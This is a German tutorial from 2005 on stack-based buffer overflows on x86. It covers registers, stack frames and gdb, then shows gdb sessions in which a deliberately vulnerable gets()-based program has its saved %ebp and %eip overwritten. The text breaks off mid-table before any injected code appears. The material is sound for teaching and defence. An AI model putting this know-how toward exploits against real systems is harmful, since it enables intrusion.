Buffer Overflows für Jedermann

Felix Opatz

Juli/August 2005

Inhaltsverzeichnis

Vorwort

In diesem Artikel geht es um eine Klasse von Programmierfehlern, die als *Buffer Overflows* bezeichnet werden. Dabei handelt es sich um Flüchtigkeitsfehler, die in sehr vielen Programmen auftauchen können und in der Vergangenheit aufgetaucht sind. Sie bieten oftmals ein Einfalltor für Angreifer,

die solche Sicherheitslücken auszunutzen wissen, und dem Zielsystem gewissermaßen ihren Willen aufzwingen, was die Vorstellungen vom korrekten Ablauf ihres Codes betrifft.

Ich hatte vor ca. einem Jahr schon einmal einen solchen Text geschrieben, der jedoch aus mangelndem Tiefgang teilweise erhebliche Verständnisprobleme bei den Lesern hervorgerufen hat. Die Intention dieser zweiten Auflage ist es, diese Klippen zu umschiffen, und eine fundierte Anleitung zu geben. Albert Einstein sagte einst „Mache die Dinge so einfach wie möglich – aber nicht einfacher.“, und hatte damit vollkommen recht.

Kritische Zeitgenossen mögen jetzt einwerfen, daß eine gewisse Unverantwortlichkeit vorliegt, wenn ich eine Anleitung verfasse, wie man zum Ausnutzen solcher Sicherheitslücken vorzugehen hat. Ich sehe das entschieden anders. Zum einen ist die weitaus größere Kunst das Finden solcher Fehler, zum anderen ist das Vorenthalten von Wissen keine Lösung für bestehende Sicherheitsrisiken. Im Gegenteil: ich bin der Meinung, daß vollständige Aufklärung zur sicheren Verhütung beiträgt.

Doch bevor ich mich ins Philosophische verliere, möchte ich lieber anfangen. Es gibt viel zu erzählen, viel zu erklären, und noch viel mehr zu entdecken. Los geht's!

1. Grundlagen

Zunächst einmal: alle Angaben beziehen sich auf Prozessoren der x86-Architektur, manchmal auch als i386 bezeichnet[1]. Sie genießen hohe Verbreitung in Form der Personal Computer, und sind damit auch für Hobbyisten eine brauchbare Plattform. Kurz: ich habe nichts anderes zum Testen hier ;-)

Es geht um Variablen auf dem Stack, die über ihre Grenzen hinaus beschrieben werden. Dabei handelt es sich meistens um Puffer, die irgendeine Eingabe vom Benutzer entgegen nehmen, oder Daten aus einer Datei lesen. Wenn die Länge der Daten nicht kontrolliert wird, kann es zu einem Überlauf eines solchen Puffers kommen, die englische Bezeichnung ist *Buffer Overflow*. Das Tragische dabei ist, daß hinter diesen Variablen Verwaltungsinformationen der CPU liegen, die durch das Überschreiben verändert werden.

Solche Fehler sind meistens einfach zu vermeiden, jedoch werden Überprüfungen gerne aus Bequemlichkeitsgründen weggelassen, weil der Programmierer an dieser Stelle keine Probleme erahnt. Eine typische Funktion, die schon vom Design her völlig daneben ist, ist `gets()`. Dieser Funktion wird ein Zeiger auf einen Speicherbereich übergeben, den sie durch Eingaben von der Standardeingabe *stdin* füllen soll, ohne jedoch eine Größe anzugeben. Weitere weniger offensichtliche Fallen lauern in den Funktionen `strcpy()` und `sprintf()`, zu denen jeweils „sichere“ Verianten wie `strncpy()` und `snprintf()` existieren, die jedoch andere Nachteile mitbringen (ersteres füllt beispielsweise die nichtgenutzten Zeichen des Puffers mit '\0' auf, was Rechenzeit kostet, und zweiteres hat erst mit C99 den Weg in den offiziellen Sprachstandard gefunden, und ist dementsprechend nicht überall verfügbar).

Im Folgenden soll erklärt werden, welcher Mechanismus beim Aufruf einer Unterfunktion in C zum Einsatz kommt, und weshalb ein Programm dadurch angreifbar werden kann. Zunächst jedoch ein Überblick über die einzelnen Register, die hierbei eine besondere Rolle spielen.

[1] Das ist strenggenommen nicht richtig, denn die beiden Bezeichnungen sind nicht äquivalent. Mit x86 werden alle Prozessoren der x86-Baureihe bezeichnet, also mit dem 8086 beginnend, 80186, 80286, 80386, ... Unter i386 versteht man eine Untermenge davon, nämlich alle ab (und einschließlich) dem 80386. Diese Unterscheidung ist sinnvoll, denn ab dem 80386 gibt es einen 32-bit-Modus. Die architektonischen Details, auf die es für uns ankommt, sind in der kompletten x86-Linie gleich.

1.1. Der Stack Pointer – %esp

Die von uns betrachteten Prozessoren verwenden alle einen *Stack*. Das ist erstmal eine abstrakte Datenstruktur, die man sich wie einen Stapel Spielkarten vorstellen kann. Die einzigen Operationen, die darauf zulässig sind, sind *push* und *pop*. Mit push wird eine Spielkarte bzw. Variable oben aufgelegt, mit pop eine oben heruntergenommen.

Der Vorteil ist die Einfachheit in der Verwaltung, die CPU muß sich nur eine Speicheradresse merken, nämlich den sog. *Top of Stack*, das obere Ende. Hier kommt eine weitere Besonderheit ins Spiel: auf x86-Architekturen wird der Stack am oberen Ende des Adreßraums eingerichtet, und wächst nach *unten*. Das bedeutet, daß die später aufgelegten Variablen an niedrigeren Adressen stehen, als die davor aufgelegten. Der Hintergedanke ist der, daß der Code im Textsegment am unteren Ende des Adreßraums beginnt, und durch diese Lösung der Zeitpunkt, daß beide aufeinander stoßen, möglichst lange herausgezögert wird. Der Speicherraum zwischendrin wird als *Heap* bezeichnet, in ihm werden persistente Speicherbereiche angelegt, wie `malloc()` sie organisiert. Globale Variablen, oder solche mit der Speicherklasse *static*, werden ebenfalls in diesem Bereich angelegt.

Das Register, in dem nun diese Adresse des Top of Stacks abgelegt wird, heißt Stack Pointer, %esp. Die Schreibweise %esp ist dieselbe, die auch vom GNU Assembler verwendet wird, und weil dieser im Folgenden zum Einsatz kommen soll, wird auch hier diese Schreibweise verwendet.

Die lokalen Variablen einer Funktion werden auf dem Stack angelegt, und verschwinden nach Verlassen der Funktion. Dies ist sehr einfach dadurch realisiert, daß der Stack Pointer beim Betreten der Funktion dekrementiert, der Stack also vergrössert wird. Die Adressierung erfolgt relativ zum Base Pointer, der gleich im Anschluß besprochen wird. Beim Verlassen der Funktion wird der alte Wert wieder in den Stack Pointer zurückgeladen, womit alle Änderungen am Stack automatisch rückgängig gemacht werden (in Wirklichkeit bleiben die Daten zwar bestehen, sind aber außerhalb des definierten Bereichs, und werden bei nächster Gelegenheit überschrieben).

1.2. Der Base Pointer – %ebp

Der Wert des Stack Pointers kann und wird während des Ablaufs einer Funktion verändert, und ist daher als Bezugspunkt zur Adressierung denkbar ungeeignet. Für diesen Zweck gibt es das Register %ebp, genannt Base Pointer. Beim Betreten einer Funktion wird der Wert aus %esp in %ebp kopiert. Wenn sich nun %esp ändert, zeigt %ebp noch immer auf den Anfang des Stacks *zum Zeitpunkt des Betretens* der Funktion.

Adressierungen werden in der Regel durch die *indirekte Adressierung* vorgenommen. In Assemblercode ist dies beispielsweise `0xfffffff8(%ebp)`. Das bedeutet als Bezugspunkt wird der Wert in %ebp herangezogen, als *Displacement* 0xfffffff8. Das bringt uns gleich zum nächsten Punkt: die *Zweierkomplementdarstellung*.

Auf x86-Maschinen werden negative Ganzzahlen im sog. *Zweierkomplement* dargestellt. Dabei wird vom Betrag des Werts 1 subtrahiert, und dann das Komplement gebildet. Dadurch wird ebenfalls das höchste Bit auf 1 gesetzt, woran später die negativen Ganzzahlen erkannt werden (dieses Bit wird auch als *Sign Bit* bezeichnet). Der umgekehrte Weg ist also das Bilden des Komplements mit anschließendem Addieren von 1. Aus 0xfffffff8 wird zunächst 0x00000007, und danach 0x00000008. Obiger Ausdruck bezeichnet also die Speicherstelle, die 8 Byte niedriger als der Base Pointer liegt. Dieses Vorgehen erscheint einigermaßen willkürlich zu sein, jedoch lässt es sich sehr schön mathematisch begründen:

addiert man eine Zahl zu seinem Zweierkomplement, so kommt als Ergebnis 0 heraus, wie man es mathematisch erwarten würde. Konkurrierende Verfahren zur Darstellung negativer Zahlen bieten dies nicht.

Zur Erinnerung: der Stack wächst von den hohen zu den niedrigen Adressen, d.h. `0xffffff8(%ebp)` liegt im Stackbereich der aktuellen Funktion, und ist 8 Byte groß.

Der Base Pointer muß jedesmal gesetzt werden, wenn eine aufgerufene Unterfunktion betreten wird. Nach dem Verlassen dieser muß der alte Wert jedoch wieder verfügbar sein, denn die aufrufende Funktion besitzt ebenfalls einen Stack, und wurde möglicherweise ebenfalls von einer anderen Funktion aufgerufen. Diese Rekursion kann theoretisch beliebige Tiefen erreichen, deshalb müssen beliebig viele Werte des Base Pointers abgelegt werden können. Sie werden auf dem Stack abgelegt, und zwar immer, wenn eine Funktion aufgerufen wird.

1.3. Der Instruction Pointer – %eip

Ebenso wichtig, wenn nicht sogar wichtiger, als der Stack Pointer ist der Instruction Pointer. Dieses Register enthält die Adresse der Instruktion, die als nächstes ausgeführt werden soll. Wenn ein Programm in seinem Fluß verzweigt, weil beispielsweise eine Bedingung erfüllt ist, und ein anderer Codezweig angesprungen werden soll, so wird einfach der Wert des Instruction Pointers geändert, sodaß mit der neuen nächsten Instruktion fortgefahren wird.

Wenn nun eine Unterfunktion abgearbeitet werden soll, so muß sich die CPU den aktuellen Wert des Instruction Pointers irgendwo merken, denn nach der Rückkehr der Unterfunktion soll die Ausführung ja an diesem Punkt fortgesetzt werden. Ähnlich wie beim Base Pointer geschieht auch dies durch Sichern des Wertes auf dem Stack.

Auf x86-Maschinen heißt der Befehl, der zu einer Unterfunktion verzweigt, `call`. Wenn die CPU diesen Befehl findet, wird der Instruction Pointer automatisch auf den Stack kopiert. Das Gegenstück dazu ist der Befehl `ret`, wenn dieser abgearbeitet wird, wird die oberste Variable des Stacks wieder in das Register %eip geladen, womit der Programmfluß dort fortsetzt, wo er unterbrochen wurde. Dieses Vorgehen wird im nächsten Abschnitt genauer beleuchtet.

1.4. Wie Funktionen aufgerufen werden

```
0x8048460 <func>:       pushl  %ebp
0x8048461 <func+1>:     movl   %esp,%ebp
0x8048463 <func+3>:     subl   $0x4,%esp
0x8048466 <func+6>:     movl   $0x5,0xfffffffc(%ebp)
0x804846d <func+13>:    movl   0xfffffffc(%ebp),%eax
0x8048470 <func+16>:    jmp    0x8048480 <func+32>
0x8048472 <func+18>:    leal   0x0(%esi,1),%esi
0x8048479 <func+25>:    leal   0x0(%edi,1),%edi
0x8048480 <func+32>:    movl   %ebp,%esp
0x8048482 <func+34>:    popl   %ebp
0x8048483 <func+35>:    ret
...
0x8048490 <main>:       pushl  %ebp
0x8048491 <main+1>:     movl   %esp,%ebp
0x8048493 <main+3>:     call   0x8048460 <func>
```

```
0x8048498 <main+8>:     xorl   %eax,%eax
0x804849a <main+10>:    jmp    0x80484a0 <main+16>
0x804849c <main+12>:    leal   0x0(%esi,1),%esi
0x80484a0 <main+16>:    movl   %ebp,%esp
0x80484a2 <main+18>:    popl   %ebp
0x80484a3 <main+19>:    ret
```

Dies ist der Assembler-Code eines einfachen Funktionaufrufs, die obere Hälfte ist die Unterfunktion `func()`, die untere Hälfte gehört zu `main()` und ruft `func()` auf.

Am Eintrittspunkt von `func()` wird das Register %ebp auf den Stack gerettet, danach wird der zu dem Zeitpunkt aktuelle Stack Pointer, %esp, in %ebp kopiert.

In func+3 wird der Stack Pointer um 4 Byte verringert, um Platz auf dem Stack zu schaffen. In diesen Bereich (indirekte Adressierung, 0xfffffffc ⇒ -4) wird der Wert 0x5 kopiert, und in func+13 gleich nochmal in das Register %eax übernommen.

Die drei folgenden Instruktionen hat der Compiler eingefügt, um „besseren“ Code zu erzeugen. Was genau er damit bezweckt interessiert uns nicht weiter, interessant jedoch ist die Stelle func+32, hier wird nämlich der Wert des Base Pointers wieder in das Register des Stack Pointers kopiert. Damit gehen alle Änderungen am Stack verloren, die 4 Byte große Variable mit dem Wert 5 wird also vernichtet. In func+34 wird der in func+0 gesicherte Base Pointer wiederhergestellt, mit func+35 wird die Unterfunktion verlassen, die CPU stellt den Instruction Pointer wieder her.

Was hat es nun mit %eax auf sich? Das ist der Rückgabewert der Unterfunktion. Er wird üblicherweise im Register %eax übergeben, die aufrufende Funktion erwartet ihn auch dort. Die aufrufende Funktion ist in diesem Fall `main()`, sichtbar in der unteren Hälfte der Assembler-Ausgabe.

Auch hier sehen wir das nun vertraute Muster des *Stackframes*: eingangs wird %ebp gesichert, am Ende wiederhergestellt. Auch `main()` ist eine gewöhnliche Funktion, die von irgendwo her aufgerufen wird. In main+3 sehen wir einen solchen Aufruf, und zwar von der betrachteten Unterfunktion `func()`.

Wie bereits in Abschnitt 1.3 beschrieben, legt die CPU beim Treffen auf `call` den Wert des Instruction Pointers auf dem Stack ab. Das heißt: wenn die Funktion `func()` betreten wird, liegt unmittelbar vor dem dort gesicherten Base Pointer der alte Instruction Pointer. Mit „vor“ ist hier eigentlich „über“ gemeint, denn wie schon mehrfach erwähnt wächst der Stack von den hohen Adressen hin zu den niedrigen.

Um Verwirrungen vorzubeugen, habe ich in der folgenden Abbildung das Layout eines solchen Stackframes dargestellt. Die absoluten Adressen steigen dabei von links nach rechts an, das heißt der Stack wächst von rechts nach links. Mit %ebp und %eip sind die Werte gemeint, die diese Register zum Zeitpunkt des Ablegens auf den Stack hatten.

niedrigere Adressen	0x05	%ebp	%eip	höhere Adressen

Zum Abschluß noch ein Blick auf den C-Code, aus dem obiger Maschinencode erzeugt wurde:

```
int func(void)
{
        int a;
        a = 5;
        return a;
}

int main(void)
{
        func();
        return 0;
}
```

2. Der Umgang mit dem Debugger

Ein vernünftiger Debugger ist ein sehr wertvolles Hilfsmittel, um Pufferüberläufen auf die Schliche zu kommen. Ich werde im Folgenden den GNU Debugger `gdb` verwenden. Die Programme compiliere ich alle unter einem zugegebenerweise etwas anachronistischen Debian Linux 2.0 (Kernel 2.0.34), aber die Grundlagen sind von der Plattform unabhängig, und wenn es später plattformabhängig wird, sage ich rechtzeitig bescheid. Die Ausgaben des Debuggers sind auf die relevanten Stellen verkürzt, denn große Teile bestehen entweder aus immer gleich bleibendem Text, oder im Assembler-Code aus Füllmaterial, das der Compiler eingewoben hat.

Diese Übersicht versteht sich nur als Einstieg, um die ersten Gehversuche zu unternehmen. Es ist mit Sicherheit eine gute Idee, die Dokumentation zum GDB [4] zu kennen, und vielleicht auch einmal zu überfliegen, um von weiteren nützlichen Funktionen eine grobe Ahnung zu erhalten.

2.1. Disassemblieren

Eine Funktion, von der ich in diesem Text schon Gebrauch gemacht habe, ist das Disassemblieren von Maschinencode. Je nach Umfang der Debuginformationen, die im Binary enthalten sind, werden die Funktionen mit Namen aufgelöst. Man kann zum Üben ein bißchen mit den Compiler-Optionen spielen, um mehr Debug-Informationen einzufügen.

Zum Disassemblieren verwendet man den Befehl `disassemble`, oder in Kurzschreibweise `disas`. Ohne Parameter wird die aktuelle Funktion disassembliert, mit einem Parameter die angegebene Funktion. Dieser Parameter kann entweder der Name der Funktion sein, oder eine Adresse innerhalb der Funktion. Wenn zwei Parameter angegeben werden, so wird der Bereich dazwischen disassembliert.

Anstatt mit dem Debugger zu disassemblieren, kann man dazu auch `objdump` verwenden, beispielsweise disassembliert der Befehl `objdump -d -j .text <datei>` die Text-Section der angegebenen Datei. Die Ausgabe ist etwas anders, und meiner Meinung nach nicht so übersichtlich, enthält dafür jedoch die Binärwerte des Maschinencodes. Dies wird beim Entwurf von einzuschleusendem Code (siehe Kapitel 4) von Nutzen sein.

Mit dem Befehl `info func` kann man sich eine Liste aller Funktionen anzeigen lassen.

2.2. Breakpoints

Die wahre Stärke des Debuggers offenbart sich zur Laufzeit des zu debuggenden Programms. Der Debugger kann die Ausführung beeinflussen, indem sog. *Breakpoints* gesetzt werden. Das sind aus Sicht der CPU entweder illegale Opcodes, oder speziell dafür vorgesehene. Trifft sie auf einen solchen Opcode, wird die Ausführung des Programms unterbrochen, und der Debugger kommt zum Zug. Er kann dann die Anwendung in diesem Zustand untersuchen (siehe Abschnitt 2.4).

Um die Breakpoints einzufügen, entnimmt der Debugger den wahren Maschinencode an dieser Stelle, ersetzt ihn durch einen solchen Opcode, und fügt den Maschinencode nach Erreichen des Breakpoints wieder ein. Der Befehl zum Setzen eines Breakpoints ist `break`, oder einfach nur `b` (der GDB erlaubt in der Regel solange Buchstaben des Befehls wegzulassen, bis er nicht mehr eindeutig erkennbar ist).

Man kann einen Breakpoint entweder durch `break <symbol>` an eine Stelle nahe des Einstiegspunktes der Funktion legen lassen, oder durch `break *<addresse>` an eine exakte Adresse platzieren. Mit dem Befehl `info break` bzw. `i b` werden alle gesetzten Breakpoints aufgelistet. Mit dem Befehl `clear <symbol>` bzw. `clear *<addresse>` wird ein Breakpoint wieder entfernt.

2.3. Das Programm laufen lassen

Nachdem man das Programm durch die Eingabe von `gdb <programm>` geladen, oder dies zur Laufzeit des Debuggers durch `file <prorgamm>` nachgeholt hat, kann das Setzen der Breakpoints beginnen. Um das Programm dann zu starten, gibt man den Befehl `run` ein. Man kann auch die Ausgabe bzw. Eingabe des Programms in/aus Dateien erfolgen lassen, indem man beispielsweise `run < <datei>` eingibt. Will man dem Programm Parameter mitgeben, kann man entweder den Befehl `set args` verwenden, oder sie ebenfalls bei `run` angeben.

Das Programm läuft solange, bis es auf einen Breakpoint trifft, oder ein Signal erhält. Wenn man in kleineren Schritten vorgehen möchte, stehen einem weitere Befehle zur Verfügung:

- `step` – bis zur nächsten Zeile im Quellcode steppen, in Funktionen rein
- `stepi` – eine Instruktion steppen, in Funktionen rein
- `next` – bis zur nächsten Zeile im Quellcode steppen, über Funktionen hinweg
- `nexti` – eine Instruktion steppen, über Funktionen hinweg

Der Unterschied zwischen `step` und `next` ist also das Verhalten, wenn eine Unterfunktion angesprungen werden soll. Die Möglichkeit, zeilenweise durch den Quellcode zu steppen, existiert nur dann, wenn die dazu notwendigen Informationen in das Programm reincompiliert wurden (beim gcc ist dies die Option `-g`).

Man kann mit dem Befehl `continue` bzw. `c` die Ausführung bis zum nächsten Breakpoint fortsetzen. Um bis zum Ende der aktuellen Funktion zu laufen, kann man den Befehl `finish` verwenden. Danach befindet man sich an der ersten Instruktion, die in der aufrufenden Funktion dem `call` folgt.

Um ein Programm zu beenden, steht der Befehl `kill` zur Verfügung.

2.4. Stack und Register untersuchen

Wenn man an einem Breakpoint angelangt ist, möchte man sicher etwas wissen. Beispielsweise welche Werte in Registern liegen, oder wie es dem Stack geht. Dazu stehen unter anderen folgende Befehle zur Verfügung:

- `info registers` bzw. `i r`
  gibt den Wert der Register (Floating-Point ausgenommen) aus, wenn als Parameter ein Registername angegeben wird, so nur den Wert dieses Registers

- `backtrace` bzw. `bt`
  gibt die Rückverfolgung der Stackframes an, also wo im Programm man sich befindet, ein Alias dazu ist deshalb auch `where`; als Parameter kann die Zahl an Schritten für die Rückverfolgung angegeben werden

- `info frame` bzw. `i f`
  gibt weitere Informationen über den aktuellen Stackframe aus, beispielsweise an welcher Stelle Register gesichert wurden, sowie den gesicherten Instruction Pointer; als Parameter kann die Nummer eines anderen Stackframes angegeben werden, ohne Parameter wird der aktuelle verwendet

- `print <variable>`
  gibt den Wert der Variablen aus (wenn das Programm mit Debugging-Informationen compiliert wurde); das `print` kann von einem `/<format>` gefolgt sein, um den (ganzzahligen) Wert in oktal (`/o`), hexadezimal (`/x`) oder binär (`/t`, t für „two“) formatiert auszugeben

Es gibt noch weitere Befehle sowie Formatangaben, die man in der Dokumentation [4] finden kann.

3. Buffer Overflows

Nun wird es langsam Zeit so einen Buffer Overflow herbeizuführen. Das Beispielprogramm „peter.c“ findet sich hierbei in Anhang A.1. Ich habe es ohne Debug-Informaionen übersetzt, Compiler ist gcc 2.7.2.3, andere Compiler werden mit Sicherheit einen anderen Code erzeugen, deshalb nicht staunen, wenn es hier anders bis hin zu ganz anders aussieht. Ich versuche die Erklärungen so allgemein zu halten, daß sie auch auf andere Plattformen übertragen werden können.

Hinweis: Der Compiler (genauer: der Linker) wird sich beschweren, daß die Funktion `gets()` unsicher ist, und nicht verwendet werden sollte. Das ist OK, wir wissen ja genau, was wir tun...

3.1. Schritt für Schritt herangetastet

Zuerst wollen wir das Programm ausprobieren. Gibt man als Name „Peter“ ein, so erkennt es einen, andernfalls nicht. Das überrascht nicht weiter, das Programm ist ja noch kurz und nachvollziehbar.

Name	Zeichen	Reaktion
Bud Bundy	9	funktioniert
Jeff Smart	10	funktioniert
Donald Duck	11	funktioniert
Klaas Klever	12	funktioniert
Jar-Jar Binks	13	funktioniert
Obi-Wan Kenobi	14	funktioniert
Miss Moneypenny	15	funktioniert
Paulchen Panther	16	Segmentation fault
Annakin Skywalker	17	Segmentation fault
Michael Hfuhruhurr	18	Segmentation fault
James Tiberius Kirk	19	Segmentation fault
William Thomas Riker	20	Segmentation fault
Seamus Zelazny Harper	21	Segmentation fault
—	22	Segmentation fault
Gerstenmann Butterblume	23	Segmentation fault
Benjamin Franklin Pierce	24	Segmentation fault

Diese Tabelle stellt die Ergebnisse meiner Versuche dar. Zum einen ist verwunderlich, daß es scheinbar keine Namen mit 22 Buchstaben gibt, zum anderen, daß erst ab 16 Zeichen ein Problem auftritt. Der Puffer sollte ja laut Quellcode nur 10 Zeichen fassen können. Nun kommt noch hinzu, daß die Funktion `gets()` den String mit einem '\0' terminiert, also ein Puffer mit 10 Zeichen nur für die Eingabe von 9 Zeichen ausreicht.

Wir wollen uns jetzt mit Hilfe des Debuggers Klarheit verschaffen, warum die Ereignisse so eintreten, wie wir sie beobachten. Dazu sehen wir uns zunächst die Funktion `ask_user()` an, indem wir sie disassemblieren:

```
0x8048550 <ask_user>:          pushl  %ebp
0x8048551 <ask_user+1>:        movl   %esp,%ebp
0x8048553 <ask_user+3>:        subl   $0x10,%esp
0x8048556 <ask_user+6>:        pushl  $0x804868c
0x804855b <ask_user+11>:       call   0x804844c <printf>
0x8048560 <ask_user+16>:       addl   $0x4,%esp
0x8048563 <ask_user+19>:       pushl  $0x80497c8
0x8048568 <ask_user+24>:       call   0x804846c <fflush>
0x804856d <ask_user+29>:       addl   $0x4,%esp
0x8048570 <ask_user+32>:       leal   0xfffffff0(%ebp),%eax
0x8048573 <ask_user+35>:       pushl  %eax
0x8048574 <ask_user+36>:       call   0x804845c <gets>
0x8048579 <ask_user+41>:       addl   $0x4,%esp
0x804857c <ask_user+44>:       pushl  $0x8048698
0x8048581 <ask_user+49>:       leal   0xfffffff0(%ebp),%eax
0x8048584 <ask_user+52>:       pushl  %eax
0x8048585 <ask_user+53>:       call   0x804848c <strcmp>
0x804858a <ask_user+58>:       addl   $0x8,%esp
```

```
0x804858d <ask_user+61>:        movl   %eax,%eax
0x804858f <ask_user+63>:        movl   %eax,0xfffffffc(%ebp)
0x8048592 <ask_user+66>:        cmpl   $0x0,0xfffffffc(%ebp)
0x8048596 <ask_user+70>:        jne    0x80485a0 <ask_user+80>
0x8048598 <ask_user+72>:        movl   $0x1,%eax
0x804859d <ask_user+77>:        jmp    0x80485b0 <ask_user+96>
0x804859f <ask_user+79>:        nop
0x80485a0 <ask_user+80>:        xorl   %eax,%eax
0x80485a2 <ask_user+82>:        jmp    0x80485b0 <ask_user+96>
0x80485a4 <ask_user+84>:        leal   0x0(%esi),%esi
0x80485aa <ask_user+90>:        leal   0x0(%edi),%edi
0x80485b0 <ask_user+96>:        movl   %ebp,%esp
0x80485b2 <ask_user+98>:        popl   %ebp
0x80485b3 <ask_user+99>:        ret
0x80485b4 <ask_user+100>:       leal   0x0(%esi),%esi
0x80485ba <ask_user+106>:       leal   0x0(%edi),%edi
```

Dies ist noch ein letztes komplettes Listing, die nächsten werde ich kürzen. Man sieht bereits allerlei Füllmaterial, sowie einige Umständlichkeiten, die man von Hand sicher effizienter lösen würde. Was uns interessiert, ist ask_user+3, hier wird der Stack für die lokalen Variablen vergrößert, um 0x10 Byte, also 16 Byte in dezimaler Schreibweise.

Es drängt sich der Verdacht auf, daß das Programm bei „Paulchen Panther“ crasht, weil 16 Zeichen + '\0' = 17 Byte in den Puffer gequetscht werden, und damit die dahinterliegenden Informationen überschrieben werden. Ein Blick in den Quellcode verrät uns, daß vor dem Puffer noch eine Variable vom Typ `int` liegt, und auf 32-bit-Maschinen ist eine solche 32 Bit lang, 4 Byte. Die Differenz aus angeforderten 10 Byte Puffergröße und erhaltenen 12 Byte ist leicht erklärt: der Compiler bläst den Puffer auf das nächste Vielfache von 4 Byte auf. Damit beginnen die Variablen immer an 32-bit-Grenzen, und auf solche Werte kann die CPU effizienter zugreifen. [2]

Als nächstes wollen wir uns genauer ansehen, was das Überschreiben für Konsequenzen hat. Dazu legen wir einen Breakpoint direkt an die Stelle, an der `gets()` aufgerufen wird. Damit stoppt die Ausführung *bevor* die Funktion aufgerufen wird. Dann steppen wir mit `nexti` über die Funktion drüber, und geben dabei der Reihe nach eine der Zeichenketten von oben ein. Davor und danach überprüfen wir jeweils den Stackframe. An das Ende setzen wir am besten auch nochmal einen Breakpoint, vor das `popl` in ask_user+98. Dann sehen wir uns nach dem `popl` den Wert von %ebp an, steppen eine Instruktion bis hinter das `ret` und untersuchen den Wert von %eip, der dann ja durch den alten Wert vom Stack überschrieben wurde, welcher je nach Zeichenkette seinerseits ebenfalls überschrieben worden ist.

Das klingt nach einer ganzen Menge Arbeit – hier beispielhaft das Vorgehen im ersten Fall. Als Zeichenkette wird hierbei „Obi-Wan Kenobi“ verwendet, hier darf also noch nichts passieren.

```
(gdb) break *0x8048574
Breakpoint 1 at 0x8048574
(gdb) break *0x80485b2
Breakpoint 2 at 0x80485b2
(gdb) run
Starting program: /home/felix/peter
Dieses Programm findet den Peter!
Dein Name: (no debugging symbols found)...
Breakpoint 1, 0x8048574 in ask_user ()
(gdb) info frame
```

[2] Neuere `gccs` füllen sogar noch großzügiger auf, manchmal sogar deutlich mehr, als für 64-bit-Architekturen sinnvoll wäre. Den Hintergrund dazu kann ich leider nicht erklären, jedoch ist die Wirkung natürlich zu beachten, denn in solche Puffer muß oftmals deutlich mehr Zeugs rein, bis es knirscht.

```
Stack level 0, frame at 0xbffffddc:
 eip = 0x8048574 in ask_user; saved eip 0x80485d8
 called by frame at 0xbffffde8
 Arglist at 0xbffffddc, args:
 Locals at 0xbffffddc, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffffddc, eip at 0xbffffde0
(gdb) nexti
Obi-Wan Kenobi
0x8048579 in ask_user ()
(gdb) info frame
Stack level 0, frame at 0xbffffddc:
 eip = 0x8048579 in ask_user; saved eip 0x80485d8
 called by frame at 0xbffffde8
 Arglist at 0xbffffddc, args:
 Locals at 0xbffffddc, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffffddc, eip at 0xbffffde0
(gdb) cont
Continuing.

Breakpoint 2, 0x80485b2 in ask_user ()
(gdb) info reg ebp
ebp            0xbffffddc       0xbffffddc
(gdb) stepi
0x80485b3 in ask_user ()
(gdb) info reg ebp
ebp            0xbffffde8       0xbffffde8
(gdb) stepi
0x80485d8 in main ()
(gdb) info reg eip
eip            0x80485d8        0x80485d8
```

Wie erwartet ist die Stackinformation vor und nach dem `gets()` identisch, wir haben den Stackframe ja auch nicht berührt. Am zweiten Breakpoint ist %ebp zunächst in „unserem“ Stackframe, nach dem `stepi` ist der Wert anders, nämlich der des Stackframes von `main()`. Noch ein Step später hat sich der Wert von %eip geändert, nämlich durch die Abarbeitung von `ret`.

Ich habe nun alle oben angegebenen Namen ausprobiert, und die Ergebnisse tabellarisch festgehalten. Dabei ist mit „Länge“ die Anzahl der Buchstaben gemeint, das '\0' ist noch hinzuzurechnen, um auf die tatsächlich benötigte Speicherlänge zu kommen. „Verhalten nach gets()“ beschreibt die Meldung am Breakpoint direkt nach dem Aufruf der Funktion `gets()`, bzw. Auffälligkeiten darin gegenüber der vorherigen Ausgabe. Die weiteren Spalten sollten selbsterklärend sein.

Länge	Verhalten nach gets()	%ebp vor popl	%ebp nach popl	%eip nach ret	Kommentar
14	normal	0xbffffddc	0xbffffde8	0x80485d8	—
15	normal	0xbffffddc	0xbffffde8	0x80485d8	—
16	called by frame at 0xbffffd00	0xbffffddc	0xbffffd00	0x80485d8	%ebp kaputt
17	called by frame at 0xbfff0072	0xbffffddc	0xbfff0072	0x80485d8	“
18	called by frame at 0xbf007272	0xbffffddc	0xbf007272	0x80485d8	“
19	called by frame at 0x6b7269	0xbffffddc	0x6b7269	0x80485d8	“
20	saved eip 0x8048500	0xbffffddc	0x72656b69	0x8048500	%eip kaputt
21	saved eip 0x8040072	0xbffffddc	0x65707261	0x8040072	SIGSEGV
22					
23	saved eip 0x656d75	0xbffffddc	0x6c627265	0x656d75	SIGSEGV
24	saved eip 0x65637265	0xbffffddc	0x6950206e	0x65637265	SIGSEGV

Zum einen sehen wir, daß der Wert von %ebp vor dem `popl` immer gleich bleibt. Das ist klar, es handelt sich ja um ein Register der CPU, da kommt nichts dran. Jedoch beginnt ab 16 Zeichen der Wert von %ebp nach dem `popl` zu spinnen. In der Zeile mit 19 Zeichen erscheint er nochdazu kürzer – dies liegt daran, daß die beiden Nullen, die von rechts nach links durchzuwandern scheinen, die führende Position übernehmen, und daher nicht mehr ausgegeben werden.

Dem %eip nach dem `ret` geht es ähnlich, im Fall der 20 Zeichen innerhalb der Zeichenkette kommen die Nullen von rechts, nehmen bei 23 Zeichen die führende Position ein, und sind bei 24 Zeichen schließlich scheinbar durchgewandert.

Von den Einträgen in der Spalte „Verhalten nach `gets()`“ sollte man sich nicht irreführen lassen, wenn sich der Wert von „saved eip“ ändert, so ist der Wert von „called by frame at“ noch immer bzw. ebenfalls anders als im Original. Interessant ist noch die Feststellung, daß der Prozeß erst dann ein SIGSEGV erhält, wenn das zweitunterste Byte des Instruction Pointers verändert wurde, wenn nur das unterste Byte mit Nullen überschrieben wird, scheint das Programm noch auf einen gültigen Speicherbereich zuzugreifen.

Als nächstes ist es zweckmäßig eine ASCII-Tabelle zur Hand zu haben, möglichst eine, die auch die Werte in hexadezimal enthält. Wir wollen nun die einzelnen Veränderungen der Register %ebp und %eip nach dem `popl` bzw. `ret` genauer untersuchen. Ich habe die Ergebnisse wieder ein einer Tabelle zusammengefasst, wobei ich Zeichen außerhalb des ASCII-Bereichs (also größer 0x7f) sowie nicht-druckbare (kleiner als 0x20) Zeichen als '.' dargestellt habe.

Verursachende Zeichenkette	Länge	%ebp	%eip	als Zeichen	„umgestellt“
